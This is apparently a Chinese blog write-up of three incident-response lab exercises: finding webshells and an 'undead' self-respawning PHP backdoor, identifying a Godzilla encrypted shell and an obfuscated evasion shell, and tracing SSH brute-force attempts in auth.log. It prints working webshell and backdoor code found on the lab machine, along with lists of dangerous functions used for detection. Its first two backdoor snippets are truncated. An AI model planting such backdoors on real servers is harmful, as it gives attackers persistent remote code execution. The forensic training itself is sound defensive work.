Linux入侵排查

这是靶机的简介

账号:root 密码:linuxruqin
ssh root@IP
1.web目录存在木马,请找到木马的密码提交
2.服务器疑似存在不死马,请找到不死马的密码提交
3.不死马是通过哪个文件生成的,请提交文件名
4.黑客留下了木马文件,请找出黑客的服务器ip提交
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交

先简单了解一下不死马,参考文章:https://cloud.tencent.com/developer/article/1922141

https://blog.csdn.net/weixin_44411509/article/details/129267982

不死马的原理就是其进程不会消亡,在内存中不断创建木马文件,从而达到无法删除的目的。

下面是一个不死马例子:

<?php
?>';
file_put_contents("shell.php", $content);
usleep(10000);
}
?>
1. ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行,如果设置为true,则忽略与用户的断开;也就是访问了这个页面之后,脚本会一直在后台执行。
2. set_time_limit()函数:设置允许脚本运行的时间,单位为秒。如果设置为0(零),没有时间方面的限制。
3. unlink(__FILE__)函数:删除文件本身。
4. file_put_contents函数:将一个字符串写入文件。
5. usleep函数:延迟执行当前脚本若干微秒(一微秒等于一百万分之一秒)。

还可以给不死马加一个密码:

<?php
?>';
while (1){
file_put_contents($file,$code);
usleep(5000);
}
?>

要清除不死马的话就需要通过重启主机或服务,或者条件竞争的方式修改文件内容

开始排查

先进web目录,看到一个1.php里面是一句话木马

image-20240709111702355

查看开放的端口:

netstat -pantu
#--------
-p 表示显示进程标识符和/或进程名称,这可以帮助你查看哪个进程正在使用网络连接。
-a 表示显示所有活动的 TCP 连接和监听端口。
-n 表示以数字形式显示地址和端口号,不进行域名解析。
-t 表示显示 TCP 表。
-u 表示显示 UDP 表。

image-20240709112640729

用该命令查找特征文件:

find ./ -name "*.php" | xargs grep "eval("
#将标准输入数据转换成命令行参数,也就是将find的输入变成命令行参数传递给grep命令

image-20240709112605958

去查一下密码为hello

image-20240709112733521

看一下index.php的内容可以知道通过该文件生成:

<?php
include('config.php');
include(SYS_ROOT.INC.'common.php');
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){
$path=substr($path,1);
}
$path = Base::safeword($path);
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{
Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{
Index::run($path);
}
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
?>

黑客留了一个木马文件,就是shell(1).elf文件

image-20240709113120553

可以看到没有可执行权限,这里加一个权限,然后开另一个端口查看端口情况

chmod 777 shell\(1\).elf

image-20240709113441330

最后可以看到其ip为10.11.55.21,端口为3333

最终的各个flag如下:

flag{1}
flag{hello}
flag{index.php}
flag{10.11.55.21}
flag{3333}

用工具的做法

用D盾来进行扫描,不过D盾没有Linux版本,所以需要通过将远程的Linux文件系统挂载到Windows上面,然后用D盾扫即可。

这里参考这篇文章来布置:https://developer.aliyun.com/article/1341008

采用的方法是winfsp + sshfs-win,这两个直接网上下载安装好即可:https://winfsp.dev/rel/

第一种方法是右击此电脑选择映射网络驱动器:

image-20240709122109922

或者输入sshfs.r,sshfs是挂载用户家目录,sshfs.r是挂载远程的根目录

点击完成后输入密码即可挂载

image-20240709122150458

然后直接用D盾进行扫描web目录:

image-20240709122701725

或者用sshfs-manage(sshfs的界面化工具,要单独再去下载)将Linux目录挂载到Windows,这里就懒得试了😥

还可以用net use命令挂载:

net use              //列出所有网络连接
net use Z: /del //删除本机映射的Z盘
net use * /del /y //删除所有映射和IPC$
net use Z: \\sshfs\root@192.168.1.120\/ //将对方根目录映射为Z盘
net use Z: \\sshfs.r\root@192.168.1.120 //将对方根目录映射为Z盘
net use Z: \\sshfs.r\root@192.168.1.120!1234 //将对方根目录映射为Z盘(其他端口)

weshell查杀

靶机简介

靶机账号密码 root xjwebshell
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.黑客免杀马完整路径 md5 flag{md5}

直接上D盾扫,用的还是上面的方法

image-20240709155032413

先看一个简单的shell文件

image-20240709155214961

这就是一个简单的webshell

再找找其他的,在gz.php找的的webshell比较特别

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

这是第一个flag,flag{027ccd04-5065-48b6-a32d-77c704a5e26d}

然后就是看是什么类型的webshell,这里可以明显看到是哥斯拉的流量特征,是哥斯拉里面的一个异或加密脚本

哥斯拉的github地址:https://github.com/BeichenDream/Godzilla,然后进行md5就是flag,flag{39392de3218c333f794befef07ac9257}

隐藏shell就是上面D盾查找出的.Mysqlli.php

image-20240709160839574

也是一个哥斯拉的shell,路径就为:/var/www/html/include/Db/.Mysqli.php,flag为flag{aebac0e58cd6c5fad1695ee4d1ac1919}

最后一个是免杀马,这里静态检测就检测不到了,但是webshell执行的话会在日志留下记录,可以去日志里面看一看,Linux的日志在**/var/log**目录下

不过D盾已经把他扫出来了,就是top.php,我们也可以在日志access.log中看到他的记录

image-20240709161714553

top.php内容如下:

<?php

$key = "password";

//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
$fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);

这里进行了混淆和加密,路径md5就是flag,flag{EEFF2EABFD9B7A6D26FC1A53D3F7D1DE}

参考文章:https://blog.csdn.net/administratorlws/article/details/139521078,里面有手工查杀的方式,总结了一些常见webshell特征

这里copy一些知识点

//各webshell的危险函数
PHP: eval(), system(), exec(), shell_exec(), passthru(), assert(), base64_decode()
ASP: Execute(), Eval(), CreateObject()
JSP: Runtime.getRuntime().exec()

//文件操作
PHP: fopen(), fwrite(), file_get_contents(), file_put_contents()
ASP: FileSystemObject

//网络操作
PHP: fsockopen(), curl_exec(), file_get_contents('http://...')
ASP: WinHttp.WinHttpRequest

手工查杀免杀可以看他有没有编码函数

find ./ type f -name "*.php" | xargs grep "eval("

Linux日志分析

靶机简介

账号root密码linuxrz
ssh root@IP
1.有多少IP在爆破主机ssh的root帐号,如果有多个使用","分割
2.ssh爆破成功登陆的IP是多少,如果有多个使用","分割
3.爆破用户名字典是什么?如果有多个使用","分割
4.登陆成功的IP共爆破了多少次
5.黑客登陆主机后新建了一个后门用户,用户名是多少

首先查看有多少ip在爆破ssh的root账号那就去查看/var/log下的日志

image-20240709182756986

看auth.log.1里面的登陆失败信息,这个是auth.log的归档文件

cat /var/log/auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more

命令解释:

cat /var/log/auth.log.1:cat 命令用于连接文件并打印到标准输出设备,这里是用来显示 /var/log/auth.log.1 文件的内容。

grep -a "Failed password for root":grep 命令用于搜索包含特定文本的行。这里搜索的是包含文本 "Failed password for root" 的行,表示 root 用户登录失败的事件。-a 选项是告诉 grep 以文本文件的方式处理二进制文件,保证输出的一致性。

awk '{print $11}':awk 是一个强大的文本处理工具。这里 {print $11} 表示打印每行的第11个字段。在 auth.log 中,第11个字段通常是登录失败时尝试使用的用户名。

sort:sort 命令对输入的行进行排序。由于前面 awk 输出的是 root 用户的登录失败行,这里的 sort 将这些行进行字典序排序。

uniq -c:uniq 命令用于过滤掉排序后的重复行。-c 选项表示在每行前显示该行在文件中出现的次数。

sort -nr:再次使用 sort 命令,-n 选项表示按照数值排序,-r 选项表示降序排序。这里对 uniq 命令的输出结果按出现次数进行降序排序。

more:more 命令用于分页显示输出结果,允许用户逐步查看长输出,而不是一次性显示所有内容。

可以找到3个ip

192.168.200.2
192.168.200.32
192.168.200.31

image-20240709183107694

爆破成功的用户就去查”Accepted”的字段

cat /var/log/auth.log.1 | grep -a "Accepted" | awk '{print $11}' | sort | uniq -c | sort -nr | more

image-20240709183249678

192.168.200.2

爆破用户命的字典就查”Failed password”字段

cat /var/log/auth.log.1 | grep -a "Failed password" |perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

image-20240709183507195

查找登录成功登陆的ip一共爆破了多少次,就查看”Failed password for root”字段,也就是第一个的查询,前面的数字就是登陆次数

cat /var/log/auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more

后门用户就查”new user”字段

cat /var/log/auth.log.1 |grep -a "new user"

image-20240709183835955

也可以直接看/etc/passwd的内容

image-20240709183913790

后门用户是test2

来补充一下日志相关的知识

参考这篇文章:https://developer.aliyun.com/article/1477704

上面查询的字段是日志的级别信息

Invalid user 表示尝试使用了一个不存在的用户登录系统。
Failed password 表示为某个用户输入了错误的密码。
authentication failure 表示认证失败。
Connection closed 表示连接被关闭。
Accepted password 表示密码认证成功。
new user 或 new group 表示创建了新用户或新用户组。
password changed 表示用户密码被更改。